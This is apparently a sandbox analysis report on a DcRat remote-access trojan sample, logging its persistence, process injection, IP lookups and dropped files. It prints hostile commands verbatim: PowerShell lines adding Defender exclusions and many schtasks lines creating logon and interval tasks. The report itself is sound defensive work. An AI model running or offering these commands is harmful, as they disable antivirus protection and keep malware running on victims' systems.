Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Users\\Default User\\sppsvc.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Default\\Documents\\My Music\\RuntimeBroker.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default\\Pictures\\fontdrvhost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchApp = "\"C:\\Users\\Public\\Documents\\My Music\\SearchApp.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Recovery\\WindowsRE\\explorer.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchApp = "\"C:\\Users\\Public\\Documents\\My Music\\SearchApp.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default\\Recent\\fontdrvhost.exe\""	browserwinsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Surrogateprovidercomponentsessionmonitor\\spoolsv.exe\""	browserwinsvc.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
48	ipinfo.io
17	ip-api.com
29	ip-api.com
47	ipinfo.io

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files\ModifiableWindowsApps\unsecapp.exe	browserwinsvc.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\backgroundTaskHost.exe	browserwinsvc.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\eddb19405b7ce1	browserwinsvc.exe
File created	C:\Program Files\ModifiableWindowsApps\lsass.exe	browserwinsvc.exe
File created	C:\Program Files (x86)\Windows Media Player\ja-JP\lsass.exe	browserwinsvc.exe
File created	C:\Program Files (x86)\Windows Media Player\ja-JP\6203df4a6bafc7	browserwinsvc.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Provisioning\Cosa\MO\unsecapp.exe	browserwinsvc.exe
File created	C:\Windows\Provisioning\Cosa\MO\29c1c3cc0f7685	browserwinsvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 54 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5056	schtasks.exe
3628	schtasks.exe
3172	schtasks.exe
4568	schtasks.exe
1464	schtasks.exe
5040	schtasks.exe
2300	schtasks.exe
2764	schtasks.exe
2268	schtasks.exe
4500	schtasks.exe
528	schtasks.exe
4604	schtasks.exe
4156	schtasks.exe
3532	schtasks.exe
2676	schtasks.exe
4444	schtasks.exe
4392	schtasks.exe
2564	schtasks.exe
752	schtasks.exe
3472	schtasks.exe
4948	schtasks.exe
1296	schtasks.exe
3708	schtasks.exe
3868	schtasks.exe
1580	schtasks.exe
1192	schtasks.exe
844	schtasks.exe
4376	schtasks.exe
3932	schtasks.exe
3288	schtasks.exe
2240	schtasks.exe
1312	schtasks.exe
732	schtasks.exe
1340	schtasks.exe
2272	schtasks.exe
2848	schtasks.exe
1584	schtasks.exe
3724	schtasks.exe
1912	schtasks.exe
1520	schtasks.exe
4848	schtasks.exe
4856	schtasks.exe
4236	schtasks.exe
3588	schtasks.exe
2432	schtasks.exe
940	schtasks.exe
4004	schtasks.exe
2148	schtasks.exe
3740	schtasks.exe
4744	schtasks.exe
1836	schtasks.exe
4932	schtasks.exe
1980	schtasks.exe
3756	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	skeet.cc.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	browserwinsvc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
2760	browserwinsvc.exe
920	powershell.exe
920	powershell.exe
4116	powershell.exe
4116	powershell.exe
1928	powershell.exe
1928	powershell.exe
2512	powershell.exe
1124	powershell.exe
1124	powershell.exe
2512	powershell.exe
784	powershell.exe
784	powershell.exe
232	powershell.exe
232	powershell.exe
2396	powershell.exe
2396	powershell.exe
3176	powershell.exe
3176	powershell.exe
2548	powershell.exe
2548	powershell.exe
1352	powershell.exe
1352	powershell.exe
4592	powershell.exe
4592	powershell.exe
1536	powershell.exe
1536	powershell.exe
2268	powershell.exe
2268	powershell.exe
3804	powershell.exe
3804	powershell.exe
3148	powershell.exe
3148	powershell.exe
1212	powershell.exe
1212	powershell.exe
2852	powershell.exe
2852	powershell.exe
2512	powershell.exe
2852	powershell.exe
2480	powershell.exe
2480	powershell.exe
920	powershell.exe
920	powershell.exe
1928	powershell.exe
3804	powershell.exe
4592	powershell.exe
3176	powershell.exe
1536	powershell.exe
4116	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5452	backgroundTaskHost.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	browserwinsvc.exe
Token: SeDebugPrivilege	920	powershell.exe
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	3804	powershell.exe
Token: SeDebugPrivilege	784	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	2480	powershell.exe
Token: SeDebugPrivilege	5452	backgroundTaskHost.exe
Token: SeDebugPrivilege	2648	RuntimeBroker.exe
Token: SeDebugPrivilege	3164	SearchApp.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 1844 wrote to memory of 4108	1844	skeet.cc.exe	88
PID 1844 wrote to memory of 4108	1844	skeet.cc.exe	88
PID 1844 wrote to memory of 4108	1844	skeet.cc.exe	88
PID 4108 wrote to memory of 2328	4108	WScript.exe	92
PID 4108 wrote to memory of 2328	4108	WScript.exe	92
PID 4108 wrote to memory of 2328	4108	WScript.exe	92
PID 2328 wrote to memory of 2760	2328	cmd.exe	94
PID 2328 wrote to memory of 2760	2328	cmd.exe	94
PID 2760 wrote to memory of 2480	2760	browserwinsvc.exe	150
PID 2760 wrote to memory of 2480	2760	browserwinsvc.exe	150
PID 2760 wrote to memory of 3804	2760	browserwinsvc.exe	151
PID 2760 wrote to memory of 3804	2760	browserwinsvc.exe	151
PID 2760 wrote to memory of 2512	2760	browserwinsvc.exe	152
PID 2760 wrote to memory of 2512	2760	browserwinsvc.exe	152
PID 2760 wrote to memory of 232	2760	browserwinsvc.exe	153
PID 2760 wrote to memory of 232	2760	browserwinsvc.exe	153
PID 2760 wrote to memory of 2548	2760	browserwinsvc.exe	154
PID 2760 wrote to memory of 2548	2760	browserwinsvc.exe	154
PID 2760 wrote to memory of 2268	2760	browserwinsvc.exe	155
PID 2760 wrote to memory of 2268	2760	browserwinsvc.exe	155
PID 2760 wrote to memory of 920	2760	browserwinsvc.exe	156
PID 2760 wrote to memory of 920	2760	browserwinsvc.exe	156
PID 2760 wrote to memory of 1536	2760	browserwinsvc.exe	157
PID 2760 wrote to memory of 1536	2760	browserwinsvc.exe	157
PID 2760 wrote to memory of 1928	2760	browserwinsvc.exe	158
PID 2760 wrote to memory of 1928	2760	browserwinsvc.exe	158
PID 2760 wrote to memory of 1212	2760	browserwinsvc.exe	159
PID 2760 wrote to memory of 1212	2760	browserwinsvc.exe	159
PID 2760 wrote to memory of 784	2760	browserwinsvc.exe	160
PID 2760 wrote to memory of 784	2760	browserwinsvc.exe	160
PID 2760 wrote to memory of 3148	2760	browserwinsvc.exe	161
PID 2760 wrote to memory of 3148	2760	browserwinsvc.exe	161
PID 2760 wrote to memory of 2396	2760	browserwinsvc.exe	162
PID 2760 wrote to memory of 2396	2760	browserwinsvc.exe	162
PID 2760 wrote to memory of 1124	2760	browserwinsvc.exe	163
PID 2760 wrote to memory of 1124	2760	browserwinsvc.exe	163
PID 2760 wrote to memory of 1352	2760	browserwinsvc.exe	164
PID 2760 wrote to memory of 1352	2760	browserwinsvc.exe	164
PID 2760 wrote to memory of 3176	2760	browserwinsvc.exe	165
PID 2760 wrote to memory of 3176	2760	browserwinsvc.exe	165
PID 2760 wrote to memory of 4592	2760	browserwinsvc.exe	166
PID 2760 wrote to memory of 4592	2760	browserwinsvc.exe	166
PID 2760 wrote to memory of 4116	2760	browserwinsvc.exe	167
PID 2760 wrote to memory of 4116	2760	browserwinsvc.exe	167
PID 2760 wrote to memory of 2852	2760	browserwinsvc.exe	168
PID 2760 wrote to memory of 2852	2760	browserwinsvc.exe	168
PID 2760 wrote to memory of 1624	2760	browserwinsvc.exe	188
PID 2760 wrote to memory of 1624	2760	browserwinsvc.exe	188
PID 1624 wrote to memory of 5580	1624	cmd.exe	190
PID 1624 wrote to memory of 5580	1624	cmd.exe	190
PID 1624 wrote to memory of 5452	1624	cmd.exe	194
PID 1624 wrote to memory of 5452	1624	cmd.exe	194

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\skeet.cc.exe
"C:\Users\Admin\AppData\Local\Temp\skeet.cc.exe"
1⤵
- DcRat
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Surrogateprovidercomponentsessionmonitor\GdYaNq.vbe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Surrogateprovidercomponentsessionmonitor\RS64buulixvrgn.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Surrogateprovidercomponentsessionmonitor\browserwinsvc.exe
      "C:\Surrogateprovidercomponentsessionmonitor\browserwinsvc.exe"
      4⤵
      Modifies WinLogon for persistence
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Program Files directory
      Drops file in Windows directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Surrogateprovidercomponentsessionmonitor\browserwinsvc.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2480
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\backgroundTaskHost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3804
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\Registry.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2512
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\explorer.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:232
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Surrogateprovidercomponentsessionmonitor\spoolsv.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2548
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\csrss.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2268
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\sppsvc.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:920
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Documents\My Music\RuntimeBroker.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1536
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\backgroundTaskHost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1928
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\winlogon.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1212
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:784
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Provisioning\Cosa\MO\unsecapp.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3148
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Pictures\fontdrvhost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2396
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\backgroundTaskHost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\My Music\SearchApp.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1352
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\cmd.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3176
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Videos\SearchApp.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4592
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Media Player\ja-JP\lsass.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\fontdrvhost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2852
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\akuyc2V9Pf.bat"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1624
      - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        6⤵
        
        PID:5580
      - C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\backgroundTaskHost.exe
        
        "C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\backgroundTaskHost.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:5452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1464

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2564

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\Surrogateprovidercomponentsessionmonitor\spoolsv.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Surrogateprovidercomponentsessionmonitor\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 12 /tr "'C:\Surrogateprovidercomponentsessionmonitor\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\sppsvc.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Default User\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Documents\My Music\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default\Documents\My Music\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3472

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Documents\My Music\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Admin\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Admin\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 10 /tr "'C:\Windows\Provisioning\Cosa\MO\unsecapp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Windows\Provisioning\Cosa\MO\unsecapp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 7 /tr "'C:\Windows\Provisioning\Cosa\MO\unsecapp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Pictures\fontdrvhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Default\Pictures\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Pictures\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 6 /tr "'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\backgroundTaskHost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1580

C:\Windows\system32\schtasks.exe
